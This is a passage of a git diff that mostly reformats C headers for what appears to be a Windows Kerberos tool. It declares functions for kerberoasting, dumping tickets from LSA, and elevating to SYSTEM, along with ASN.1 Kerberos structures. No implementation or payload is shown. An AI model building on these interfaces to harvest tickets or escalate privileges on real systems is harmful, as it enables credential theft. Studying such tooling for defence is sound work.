_LOGON_SESSION_DATA { - PSECURITY_LOGON_SESSION_DATA* sessionData; +typedef struct _LOGON_SESSION_DATA +{ + PSECURITY_LOGON_SESSION_DATA *sessionData; ULONG sessionCount; } LOGON_SESSION_DATA, PLOGON_SESSION_DATA; -enum KERB_ETYPE { +enum KERB_ETYPE +{ DES_CBC_CRC = 1, DES_CBC_MD4 = 2, DES_CBC_MD5 = 3, @@ -38,19 +42,22 @@ enum KERB_ETYPE { }; HANDLE GetCurrentToken(DWORD DesiredAccess); -char* GetEncryptionTypeString(LONG encType); +void GetEncryptionTypeString(LONG encType, char **encTypeString); SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li); BOOL IsHighIntegrity(); BOOL IsSystem(); -NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa); -int GetProcessIdByName(WCHAR* processName); +NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa); +int GetProcessIdByName(WCHAR *processName); BOOL ElevateToSystem(); -char* GetNarrowString(WCHAR* src); -char* GetNarrowStringFromUnicode(UNICODE_STRING src); -WCHAR* GetWideString(char* src); +WCHAR *GetWideString(char *src); unsigned int _strlen(const char *str); unsigned int _wcslen(LPCWSTR str); int _strcmp(const char *str1, const char *str2); +char *_strcpy(char *dst, const char *src); +char *_strstr(const char *str, const char *sub); int _wcscmp(LPCWSTR str1, LPCWSTR str2); -void* _memcpy(void *dst, const void *src, size_t n); -int _memcmp(const void *ptr1, const void *ptr2, size_t n); \ No newline at end of file +void *_memcpy(void *dst, const void *src, size_t n); +int _memcmp(const void *ptr1, const void *ptr2, size_t n); +HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...); +HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList); +void *_memset(void *dst, int c, size_t n); \ No newline at end of file diff --git a/include/kerberoast.h b/include/kerberoast.h index f135f38..4bdf727 100644 --- a/include/kerberoast.h +++ b/include/kerberoast.h @@ -2,4 +2,4 @@ #include -void execute_kerberoast(WCHAR** dispatch, char* spn); \ No newline at end of file +void execute_kerberoast(WCHAR **dispatch, char *spn); \ No newline at end of file diff --git a/include/klist.h b/include/klist.h index 6a3d97c..5efb31e 100644 --- a/include/klist.h +++ b/include/klist.h @@ -6,9 +6,9 @@ #include "common.h" #include "sessions.h" -void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump); -void EnumerateTickets(LUID*, BOOL, HANDLE); -NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket, +void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump); +void EnumerateTickets(LUID *, BOOL, HANDLE); +NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket, PULONG ticketSize); -void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo); -void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags); +void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo); +void PrintTicketFlags(ULONG ticketFlags, char **flagsString); \ No newline at end of file diff --git a/include/krb5.h b/include/krb5.h index dd9fc12..5d77814 100644 --- a/include/krb5.h +++ b/include/krb5.h @@ -39,7 +39,8 @@ typedef LONG KERBERR, *PKERBERR; #define KDC_ERR_MORE_DATA ((KERBERR)0x80000001) #define KERB_SUCCESS(_kerberr_) ((KERBERR)(_kerberr_) == KDC_ERR_NONE) -typedef struct _KERB_GSS_CHECKSUM { +typedef struct _KERB_GSS_CHECKSUM +{ ULONG BindLength; ULONG BindHash[4]; ULONG GssFlags; @@ -49,18 +50,21 @@ typedef struct _KERB_GSS_CHECKSUM { } KERB_GSS_CHECKSUM, *PKERB_GSS_CHECKSUM; typedef ASN1ztcharstring_t KERB_PRINCIPAL_NAME_name_string_Seq; -typedef struct KERB_PRINCIPAL_NAME_name_string_s* PKERB_PRINCIPAL_NAME_name_string; -typedef struct KERB_PRINCIPAL_NAME_name_string_s { +typedef struct KERB_PRINCIPAL_NAME_name_string_s *PKERB_PRINCIPAL_NAME_name_string; +typedef struct KERB_PRINCIPAL_NAME_name_string_s +{ PKERB_PRINCIPAL_NAME_name_string next; KERB_PRINCIPAL_NAME_name_string_Seq value; } KERB_PRINCIPAL_NAME_name_string_Element, *KERB_PRINCIPAL_NAME_name_string; -typedef struct PKERB_TICKET_EXTENSIONS_s* PPKERB_TICKET_EXTENSIONS; -typedef struct PKERB_TICKET_EXTENSIONS_Seq { +typedef struct PKERB_TICKET_EXTENSIONS_s *PPKERB_TICKET_EXTENSIONS; +typedef struct PKERB_TICKET_EXTENSIONS_Seq +{ ASN1int32_t te_type; ASN1octetstring_t te_data; } PKERB_TICKET_EXTENSIONS_Seq; -typedef struct PKERB_TICKET_EXTENSIONS_s { +typedef struct PKERB_TICKET_EXTENSIONS_s +{ PPKERB_TICKET_EXTENSIONS next; PKERB_TICKET_EXTENSIONS_Seq value; } PKERB_TICKET_EXTENSIONS_Element, *PKERB_TICKET_EXTENSIONS; @@ -70,24 +74,29 @@ typedef ASN1ztcharstring_t KERB_REALM; typedef ASN1generalizedtime_t KERB_TIME; typedef ASN1intx_t KERB_SEQUENCE_NUMBER_LARGE; -typedef struct PKERB_AUTHORIZATION_DATA_Seq { +typedef struct PKERB_AUTHORIZATION_DATA_Seq +{ ASN1int32_t auth_data_type; ASN1octetstring_t auth_data; } PKERB_AUTHORIZATION_DATA_Seq; -typedef struct PKERB_AUTHORIZATION_DATA_s* PPKERB_AUTHORIZATION_DATA; -typedef struct PKERB_AUTHORIZATION_DATA_s { +typedef struct PKERB_AUTHORIZATION_DATA_s *PPKERB_AUTHORIZATION_DATA; +typedef struct PKERB_AUTHORIZATION_DATA_s +{ PPKERB_AUTHORIZATION_DATA next; PKERB_AUTHORIZATION_DATA_Seq value; } PKERB_AUTHORIZATION_DATA_Element, *PKERB_AUTHORIZATION_DATA; -typedef struct KERB_PRINCIPAL_NAME { +typedef struct KERB_PRINCIPAL_NAME +{ ASN1int32_t name_type; PKERB_PRINCIPAL_NAME_name_string name_string; } KERB_PRINCIPAL_NAME; -typedef struct KERB_ENCRYPTED_DATA { - union { +typedef struct KERB_ENCRYPTED_DATA +{ + union + { ASN1uint16_t bit_mask; ASN1octet_t o[1]; }; @@ -96,18 +105,22 @@ typedef struct KERB_ENCRYPTED_DATA { ASN1octetstring_t cipher_text; } KERB_ENCRYPTED_DATA; -typedef struct KERB_ENCRYPTION_KEY { +typedef struct KERB_ENCRYPTION_KEY +{ ASN1int32_t keytype; ASN1octetstring_t keyvalue; } KERB_ENCRYPTION_KEY; -typedef struct KERB_CHECKSUM { +typedef struct KERB_CHECKSUM +{ ASN1int32_t checksum_type; ASN1octetstring_t checksum; } KERB_CHECKSUM; -typedef struct KERB_REPLY_KEY_PACKAGE2 { - union { +typedef struct KERB_REPLY_KEY_PACKAGE2 +{ + union + { ASN1uint16_t bit_mask; ASN1octet_t o[1]; }; @@ -116,8 +129,10 @@ typedef struct KERB_REPLY_KEY_PACKAGE2 { ASN1bitstring_t subject_public_key; } KERB_REPLY_KEY_PACKAGE2; -typedef struct KERB_TICKET { - union { +typedef struct KERB_TICKET +{ + union + { ASN1uint16_t bit_mask; ASN1octet_t o[1]; }; @@ -128,8 +143,10 @@ typedef struct KERB_TICKET { PPKERB_TICKET_EXTENSIONS ticket_extensions; } KERB_TICKET; -typedef struct KERB_AUTHENTICATOR { - union { +typedef struct KERB_AUTHENTICATOR +{ + union + { ASN1uint16_t bit_mask; ASN1octet_t o[1]; }; @@ -144,7 +161,8 @@ typedef struct KERB_AUTHENTICATOR { PPKERB_AUTHORIZATION_DATA authorization_data; } KERB_AUTHENTICATOR; -typedef struct KERB_AP_REQUEST { +typedef struct KERB_AP_REQUEST +{ ASN1int32_t version; ASN1int32_t message_type; KERB_AP_OPTIONS ap_options; @@ -152,12 +170,14 @@ typedef struct KERB_AP_REQUEST { KERB_ENCRYPTED_DATA authenticator; } KERB_AP_REQUEST, *PKERB_AP_REQUEST; -typedef struct KERB_CRED_tickets_s* PKERB_CRED_tickets; -typedef struct KERB_CRED_tickets_s { +typedef struct KERB_CRED_tickets_s *PKERB_CRED_tickets; +typedef struct KERB_CRED_tickets_s +{ PKERB_CRED_tickets next; KERB_TICKET value; } KERB_CRED_tickets_Element, *KERB_CRED_tickets; -typedef struct KERB_CRED { +typedef struct KERB_CRED +{ ASN1int32_t version; ASN1int32_t message_type; PKERB_CRED_tickets tickets; @@ -166,8 +186,8 @@ typedef struct KERB_CRED { ASN1module_t ASN1CALL KRB5_Module_Startup(void); void ASN1CALL KRB5_Module_Cleanup(ASN1module_t module); -KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t* pEnc, ASN1decoding_t* pDec); +KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t *pEnc, ASN1decoding_t *pDec); void KerbTermAsn(ASN1encoding_t pEnc, ASN1decoding_t pDec); -KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID* DecodedData); -KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR* EncodedData); +KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID *DecodedData); +KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR *EncodedData); void KerbFreeData(ASN1module_t module, ULONG PduValue, PVOID Data); \ No newline at end of file diff --git a/include/luid.h b/include/luid.h index 059d512..0c5b874 100644 --- a/include/luid.h +++ b/include/luid.h @@ -3,5 +3,5 @@ #include #include "common.h" -void execute_luid(WCHAR** dispatch); -LUID* GetCurrentLUID(); +void execute_luid(WCHAR **dispatch); +LUID *GetCurrentLUID(); diff --git a/include/msasn1.h b/include/msasn1.h index d390795..6c8ad13 100644 --- a/include/msasn1.h +++ b/include/msasn1.h @@ -10,15 +10,16 @@ #include #ifdef __cplusplus -extern "C" { +extern "C" +{ #endif -typedef unsigned char ASN1uint8_t; -typedef signed char ASN1int8_t; -typedef unsigned short ASN1uint16_t; -typedef signed short ASN1int16_t; -typedef unsigned __LONG32 ASN1uint32_t; -typedef signed __LONG32 ASN1int32_t; + typedef unsigned char ASN1uint8_t; + typedef signed char ASN1int8_t; + typedef unsigned short ASN1uint16_t; + typedef signed short ASN1int16_t; + typedef unsigned __LONG32 ASN1uint32_t; + typedef signed __LONG32 ASN1int32_t; #ifndef WINAPI #if defined(_ARM_) @@ -33,567 +34,637 @@ typedef signed __LONG32 ASN1int32_t; #define ASN1CALL WINAPI #define ASN1API_INLINE WINAPI -typedef ASN1uint8_t ASN1octet_t; -typedef ASN1uint8_t ASN1bool_t; + typedef ASN1uint8_t ASN1octet_t; + typedef ASN1uint8_t ASN1bool_t; -typedef struct tagASN1intx_t { - ASN1uint32_t length; - ASN1octet_t *value; -} ASN1intx_t; + typedef struct tagASN1intx_t + { + ASN1uint32_t length; + ASN1octet_t *value; + } ASN1intx_t; -typedef struct tagASN1octetstring_t { - ASN1uint32_t length; - ASN1octet_t *value; -} ASN1octetstring_t; + typedef struct tagASN1octetstring_t + { + ASN1uint32_t length; + ASN1octet_t *value; + } ASN1octetstring_t; -typedef struct tagASN1octetstring2_t { - ASN1uint32_t length; - ASN1octet_t value[1]; -} ASN1octetstring2_t; + typedef struct tagASN1octetstring2_t + { + ASN1uint32_t length; + ASN1octet_t value[1]; + } ASN1octetstring2_t; -typedef struct ASN1iterator_s { - struct ASN1iterator_s *next; - void *value; -} ASN1iterator_t; - -typedef struct tagASN1bitstring_t { - ASN1uint32_t length; - ASN1octet_t *value; -} ASN1bitstring_t; - -typedef char ASN1char_t; - -typedef struct tagASN1charstring_t { - ASN1uint32_t length; - ASN1char_t *value; -} ASN1charstring_t; - -typedef ASN1uint16_t ASN1char16_t; - -typedef struct tagASN1char16string_t { - ASN1uint32_t length; - ASN1char16_t *value; -} ASN1char16string_t; - -typedef ASN1uint32_t ASN1char32_t; - -typedef struct tagASN1char32string_t { - ASN1uint32_t length; - ASN1char32_t *value; -} ASN1char32string_t; - -typedef ASN1char_t *ASN1ztcharstring_t; -typedef ASN1char16_t *ASN1ztchar16string_t; -typedef ASN1char32_t *ASN1ztchar32string_t; - -typedef struct tagASN1wstring_t { - ASN1uint32_t length; - WCHAR *value; -} ASN1wstring_t; - -typedef struct ASN1objectidentifier_s { - struct ASN1objectidentifier_s *next; - ASN1uint32_t value; -} * ASN1objectidentifier_t; - -typedef struct tagASN1objectidentifier2_t { - ASN1uint16_t count; - ASN1uint32_t value[16]; -} ASN1objectidentifier2_t; - -typedef struct tagASN1encodedOID_t { - ASN1uint16_t length; - ASN1octet_t *value; -} ASN1encodedOID_t; - -typedef struct tagASN1stringtableentry_t { - ASN1char32_t lower; - ASN1char32_t upper; - ASN1uint32_t value; -} ASN1stringtableentry_t; - -typedef struct tagASN1stringtable_t { - ASN1uint32_t length; - ASN1stringtableentry_t *values; -} ASN1stringtable_t; - -typedef ASN1ztcharstring_t ASN1objectdescriptor_t; - -typedef struct tagASN1generalizedtime_t { - ASN1uint16_t year; - ASN1uint8_t month; - ASN1uint8_t day; - ASN1uint8_t hour; - ASN1uint8_t minute; - ASN1uint8_t second; - ASN1uint16_t millisecond; - ASN1bool_t universal; - ASN1int16_t diff; -} ASN1generalizedtime_t; - -typedef struct tagASN1utctime_t { - ASN1uint8_t year; - ASN1uint8_t month; - ASN1uint8_t day; - ASN1uint8_t hour; - ASN1uint8_t minute; - ASN1uint8_t second; - ASN1bool_t universal; - ASN1int16_t diff; -} ASN1utctime_t; - -typedef struct tagASN1open_t { - ASN1uint32_t length; - union { - void *encoded; + typedef struct ASN1iterator_s + { + struct ASN1iterator_s *next; void *value; - }; -} ASN1open_t; + } ASN1iterator_t; -typedef enum tagASN1blocktype_e { ASN1_DER_SET_OF_BLOCK } ASN1blocktype_e; + typedef struct tagASN1bitstring_t + { + ASN1uint32_t length; + ASN1octet_t *value; + } ASN1bitstring_t; -typedef ASN1int32_t ASN1enum_t; -typedef ASN1uint16_t ASN1choice_t; -typedef ASN1uint32_t ASN1magic_t; + typedef char ASN1char_t; + + typedef struct tagASN1charstring_t + { + ASN1uint32_t length; + ASN1char_t *value; + } ASN1charstring_t; + + typedef ASN1uint16_t ASN1char16_t; + + typedef struct tagASN1char16string_t + { + ASN1uint32_t length; + ASN1char16_t *value; + } ASN1char16string_t; + + typedef ASN1uint32_t ASN1char32_t; + + typedef struct tagASN1char32string_t + { + ASN1uint32_t length; + ASN1char32_t *value; + } ASN1char32string_t; + + typedef ASN1char_t *ASN1ztcharstring_t; + typedef ASN1char16_t *ASN1ztchar16string_t; + typedef ASN1char32_t *ASN1ztchar32string_t; + + typedef struct tagASN1wstring_t + { + ASN1uint32_t length; + WCHAR *value; + } ASN1wstring_t; + + typedef struct ASN1objectidentifier_s + { + struct ASN1objectidentifier_s *next; + ASN1uint32_t value; + } *ASN1objectidentifier_t; + + typedef struct tagASN1objectidentifier2_t + { + ASN1uint16_t count; + ASN1uint32_t value[16]; + } ASN1objectidentifier2_t; + + typedef struct tagASN1encodedOID_t + { + ASN1uint16_t length; + ASN1octet_t *value; + } ASN1encodedOID_t; + + typedef struct tagASN1stringtableentry_t + { + ASN1char32_t lower; + ASN1char32_t upper; + ASN1uint32_t value; + } ASN1stringtableentry_t; + + typedef struct tagASN1stringtable_t + { + ASN1uint32_t length; + ASN1stringtableentry_t *values; + } ASN1stringtable_t; + + typedef ASN1ztcharstring_t ASN1objectdescriptor_t; + + typedef struct tagASN1generalizedtime_t + { + ASN1uint16_t year; + ASN1uint8_t month; + ASN1uint8_t day; + ASN1uint8_t hour; + ASN1uint8_t minute; + ASN1uint8_t second; + ASN1uint16_t millisecond; + ASN1bool_t universal; + ASN1int16_t diff; + } ASN1generalizedtime_t; + + typedef struct tagASN1utctime_t + { + ASN1uint8_t year; + ASN1uint8_t month; + ASN1uint8_t day; + ASN1uint8_t hour; + ASN1uint8_t minute; + ASN1uint8_t second; + ASN1bool_t universal; + ASN1int16_t diff; + } ASN1utctime_t; + + typedef struct tagASN1open_t + { + ASN1uint32_t length; + union + { + void *encoded; + void *value; + }; + } ASN1open_t; + + typedef enum tagASN1blocktype_e + { + ASN1_DER_SET_OF_BLOCK + } ASN1blocktype_e; + + typedef ASN1int32_t ASN1enum_t; + typedef ASN1uint16_t ASN1choice_t; + typedef ASN1uint32_t ASN1magic_t; #define ASN1_MAKE_VERSION(major, minor) (((major) << 16) | (minor)) #define ASN1_THIS_VERSION ASN1_MAKE_VERSION(1, 0) -enum { ASN1_CHOICE_BASE = 1, ASN1_CHOICE_INVALID = -1, ASN1_CHOICE_EXTENSION = 0 }; + enum + { + ASN1_CHOICE_BASE = 1, + ASN1_CHOICE_INVALID = -1, + ASN1_CHOICE_EXTENSION = 0 + }; -typedef enum tagASN1error_e { - ASN1_SUCCESS = 0, - ASN1_ERR_INTERNAL = (-1001), - ASN1_ERR_EOD = (-1002), - ASN1_ERR_CORRUPT = (-1003), - ASN1_ERR_LARGE = (-1004), - ASN1_ERR_CONSTRAINT = (-1005), - ASN1_ERR_MEMORY = (-1006), - ASN1_ERR_OVERFLOW = (-1007), - ASN1_ERR_BADPDU = (-1008), - ASN1_ERR_BADARGS = (-1009), - ASN1_ERR_BADREAL = (-1010), - ASN1_ERR_BADTAG = (-1011), - ASN1_ERR_CHOICE = (-1012), - ASN1_ERR_RULE = (-1013), - ASN1_ERR_UTF8 = (-1014), - ASN1_ERR_PDU_TYPE = (-1051), - ASN1_ERR_NYI = (-1052), - ASN1_WRN_EXTENDED = 1001, - ASN1_WRN_NOEOD = 1002 -} ASN1error_e; + typedef enum tagASN1error_e + { + ASN1_SUCCESS = 0, + ASN1_ERR_INTERNAL = (-1001), + ASN1_ERR_EOD = (-1002), + ASN1_ERR_CORRUPT = (-1003), + ASN1_ERR_LARGE = (-1004), + ASN1_ERR_CONSTRAINT = (-1005), + ASN1_ERR_MEMORY = (-1006), + ASN1_ERR_OVERFLOW = (-1007), + ASN1_ERR_BADPDU = (-1008), + ASN1_ERR_BADARGS = (-1009), + ASN1_ERR_BADREAL = (-1010), + ASN1_ERR_BADTAG = (-1011), + ASN1_ERR_CHOICE = (-1012), + ASN1_ERR_RULE = (-1013), + ASN1_ERR_UTF8 = (-1014), + ASN1_ERR_PDU_TYPE = (-1051), + ASN1_ERR_NYI = (-1052), + ASN1_WRN_EXTENDED = 1001, + ASN1_WRN_NOEOD = 1002 + } ASN1error_e; #define ASN1_SUCCEEDED(ret) (((int)(ret)) >= 0) #define ASN1_FAILED(ret) (((int)(ret)) < 0) -typedef enum { - ASN1_PER_RULE_ALIGNED = 0x0001, - ASN1_PER_RULE_UNALIGNED = 0x0002, - ASN1_PER_RULE = ASN1_PER_RULE_ALIGNED | ASN1_PER_RULE_UNALIGNED, - ASN1_BER_RULE_BER = 0x0100, - ASN1_BER_RULE_CER = 0x0200, - ASN1_BER_RULE_DER = 0x0400, - ASN1_BER_RULE = ASN1_BER_RULE_BER | ASN1_BER_RULE_CER | ASN1_BER_RULE_DER -} ASN1encodingrule_e; + typedef enum + { + ASN1_PER_RULE_ALIGNED = 0x0001, + ASN1_PER_RULE_UNALIGNED = 0x0002, + ASN1_PER_RULE = ASN1_PER_RULE_ALIGNED | ASN1_PER_RULE_UNALIGNED, + ASN1_BER_RULE_BER = 0x0100, + ASN1_BER_RULE_CER = 0x0200, + ASN1_BER_RULE_DER = 0x0400, + ASN1_BER_RULE = ASN1_BER_RULE_BER | ASN1_BER_RULE_CER | ASN1_BER_RULE_DER + } ASN1encodingrule_e; -typedef struct ASN1encoding_s *ASN1encoding_t; -typedef struct ASN1decoding_s *ASN1decoding_t; -typedef ASN1int32_t(WINAPI *ASN1PerEncFun_t)(ASN1encoding_t enc, void *data); -typedef ASN1int32_t(WINAPI *ASN1PerDecFun_t)(ASN1decoding_t enc, void *data); + typedef struct ASN1encoding_s *ASN1encoding_t; + typedef struct ASN1decoding_s *ASN1decoding_t; + typedef ASN1int32_t(WINAPI *ASN1PerEncFun_t)(ASN1encoding_t enc, void *data); + typedef ASN1int32_t(WINAPI *ASN1PerDecFun_t)(ASN1decoding_t enc, void *data); -typedef struct tagASN1PerFunArr_t { - const ASN1PerEncFun_t *apfnEncoder; - const ASN1PerDecFun_t *apfnDecoder; -} ASN1PerFunArr_t; + typedef struct tagASN1PerFunArr_t + { + const ASN1PerEncFun_t *apfnEncoder; + const ASN1PerDecFun_t *apfnDecoder; + } ASN1PerFunArr_t; -typedef ASN1int32_t(WINAPI *ASN1BerEncFun_t)(ASN1encoding_t enc, ASN1uint32_t tag, void *data); -typedef ASN1int32_t(WINAPI *ASN1BerDecFun_t)(ASN1decoding_t enc, ASN1uint32_t tag, void *data); + typedef ASN1int32_t(WINAPI *ASN1BerEncFun_t)(ASN1encoding_t enc, ASN1uint32_t tag, void *data); + typedef ASN1int32_t(WINAPI *ASN1BerDecFun_t)(ASN1decoding_t enc, ASN1uint32_t tag, void *data); -typedef struct tagASN1BerFunArr_t { - const ASN1BerEncFun_t *apfnEncoder; - const ASN1BerDecFun_t *apfnDecoder; -} ASN1BerFunArr_t; + typedef struct tagASN1BerFunArr_t + { + const ASN1BerEncFun_t *apfnEncoder; + const ASN1BerDecFun_t *apfnDecoder; + } ASN1BerFunArr_t; -typedef void(WINAPI *ASN1GenericFun_t)(void); -typedef void(WINAPI *ASN1FreeFun_t)(void *data); + typedef void(WINAPI *ASN1GenericFun_t)(void); + typedef void(WINAPI *ASN1FreeFun_t)(void *data); -typedef struct tagASN1module_t { - ASN1magic_t nModuleName; - ASN1encodingrule_e eRule; - ASN1uint32_t dwFlags; - ASN1uint32_t cPDUs; - const ASN1FreeFun_t *apfnFreeMemory; - const ASN1uint32_t *acbStructSize; - union { - ASN1PerFunArr_t PER; - ASN1BerFunArr_t BER; + typedef struct tagASN1module_t + { + ASN1magic_t nModuleName; + ASN1encodingrule_e eRule; + ASN1uint32_t dwFlags; + ASN1uint32_t cPDUs; + const ASN1FreeFun_t *apfnFreeMemory; + const ASN1uint32_t *acbStructSize; + union + { + ASN1PerFunArr_t PER; + ASN1BerFunArr_t BER; + }; + } *ASN1module_t; + + struct ASN1encoding_s + { + ASN1magic_t magic; + ASN1uint32_t version; + ASN1module_t module; + ASN1octet_t *buf; + ASN1uint32_t size; + ASN1uint32_t len; + ASN1error_e err; + ASN1uint32_t bit; + ASN1octet_t *pos; + ASN1uint32_t cbExtraHeader; + ASN1encodingrule_e eRule; + ASN1uint32_t dwFlags; }; -} * ASN1module_t; -struct ASN1encoding_s { - ASN1magic_t magic; - ASN1uint32_t version; - ASN1module_t module; - ASN1octet_t *buf; - ASN1uint32_t size; - ASN1uint32_t len; - ASN1error_e err; - ASN1uint32_t bit; - ASN1octet_t *pos; - ASN1uint32_t cbExtraHeader; - ASN1encodingrule_e eRule; - ASN1uint32_t dwFlags; -}; - -struct ASN1decoding_s { - ASN1magic_t magic; - ASN1uint32_t version; - ASN1module_t module; - ASN1octet_t *buf; - ASN1uint32_t size; - ASN1uint32_t len; - ASN1error_e err; - ASN1uint32_t bit; - ASN1octet_t *pos; - ASN1encodingrule_e eRule; - ASN1uint32_t dwFlags; -}; + struct ASN1decoding_s + { + ASN1magic_t magic; + ASN1uint32_t version; + ASN1module_t module; + ASN1octet_t *buf; + ASN1uint32_t size; + ASN1uint32_t len; + ASN1error_e err; + ASN1uint32_t bit; + ASN1octet_t *pos; + ASN1encodingrule_e eRule; + ASN1uint32_t dwFlags; + }; #define ASN1DECFREE_NON_PDU_ID ((ASN1uint32_t)-1) -enum { ASN1FLAGS_NONE = 0x00000000, ASN1FLAGS_NOASSERT = 0x00001000 }; - -enum { - ASN1ENCODE_APPEND = 0x00000001, - ASN1ENCODE_REUSEBUFFER = 0x00000004, - ASN1ENCODE_SETBUFFER = 0x00000008, - ASN1ENCODE_ALLOCATEBUFFER = 0x00000010, - ASN1ENCODE_NOASSERT = ASN1FLAGS_NOASSERT -}; - -enum { - ASN1DECODE_APPENDED = 0x00000001, - ASN1DECODE_REWINDBUFFER = 0x00000004, - ASN1DECODE_SETBUFFER = 0x00000008, - ASN1DECODE_AUTOFREEBUFFER = 0x00000010, - ASN1DECODE_NOASSERT = ASN1FLAGS_NOASSERT -}; - -extern ASN1_PUBLIC ASN1module_t WINAPI ASN1_CreateModule(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, - ASN1uint32_t dwFlags, ASN1uint32_t cPDU, - const ASN1GenericFun_t apfnEncoder[], - const ASN1GenericFun_t apfnDecoder[], - const ASN1FreeFun_t apfnFreeMemory[], - const ASN1uint32_t acbStructSize[], ASN1magic_t nModuleName); -extern ASN1_PUBLIC void WINAPI ASN1_CloseModule(ASN1module_t pModule); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, - ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, - ASN1encoding_t pParent); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_Encode(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum, - ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize); -extern ASN1_PUBLIC void WINAPI ASN1_CloseEncoder(ASN1encoding_t pEncoderInfo); -extern ASN1_PUBLIC void WINAPI ASN1_CloseEncoder2(ASN1encoding_t pEncoderInfo); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, - ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, - ASN1decoding_t pParent); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateDecoderEx(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, - ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, - ASN1decoding_t pParent, ASN1uint32_t dwFlags); -extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_Decode(ASN1decoding_t pDecoderInfo, void **ppDataStruct, - ASN1uint32_t nPduNum, ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, - ASN1uint32_t cbBufSize); -extern ASN1_PUBLIC void WINAPI ASN1_CloseDecoder(ASN1decoding_t pDecoderInfo); -extern ASN1_PUBLIC void WINAPI ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void *pBuf); -extern ASN1_PUBLIC void WINAPI ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum); - -typedef enum { - ASN1OPT_CHANGE_RULE = 0x101, - ASN1OPT_GET_RULE = 0x201, - ASN1OPT_NOT_REUSE_BUFFER = 0x301, - ASN1OPT_REWIND_BUFFER = 0x302, - ASN1OPT_SET_DECODED_BUFFER = 0x501, - ASN1OPT_DEL_DECODED_BUFFER = 0x502, - ASN1OPT_GET_DECODED_BUFFER_SIZE = 0x601 -} ASN1option_e; - -typedef struct tagASN1optionparam_t { - ASN1option_e eOption; - union { - ASN1encodingrule_e eRule; - ASN1uint32_t cbRequiredDecodedBufSize; - struct { - ASN1octet_t *pbBuf; - ASN1uint32_t cbBufSize; - } Buffer; + enum + { + ASN1FLAGS_NONE = 0x00000000, + ASN1FLAGS_NOASSERT = 0x00001000 }; -} ASN1optionparam_t, ASN1optionparam_s; -typedef enum tagASN1real_e { eReal_Normal, eReal_PlusInfinity, eReal_MinusInfinity } ASN1real_e; + enum + { + ASN1ENCODE_APPEND = 0x00000001, + ASN1ENCODE_REUSEBUFFER = 0x00000004, + ASN1ENCODE_SETBUFFER = 0x00000008, + ASN1ENCODE_ALLOCATEBUFFER = 0x00000010, + ASN1ENCODE_NOASSERT = ASN1FLAGS_NOASSERT + }; -typedef struct tagASN1real_t { - ASN1real_e type; - ASN1intx_t mantissa; - ASN1uint32_t base; - ASN1intx_t exponent; -} ASN1real_t; + enum + { + ASN1DECODE_APPENDED = 0x00000001, + ASN1DECODE_REWINDBUFFER = 0x00000004, + ASN1DECODE_SETBUFFER = 0x00000008, + ASN1DECODE_AUTOFREEBUFFER = 0x00000010, + ASN1DECODE_NOASSERT = ASN1FLAGS_NOASSERT + }; -typedef struct tagASN1external_t { + extern ASN1_PUBLIC ASN1module_t WINAPI ASN1_CreateModule(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, + ASN1uint32_t dwFlags, ASN1uint32_t cPDU, + const ASN1GenericFun_t apfnEncoder[], + const ASN1GenericFun_t apfnDecoder[], + const ASN1FreeFun_t apfnFreeMemory[], + const ASN1uint32_t acbStructSize[], ASN1magic_t nModuleName); + extern ASN1_PUBLIC void WINAPI ASN1_CloseModule(ASN1module_t pModule); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, + ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize, + ASN1encoding_t pParent); + extern ASN1_PUBLIC ASN1error_e WINAPI ASN1_Encode(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum, + ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, 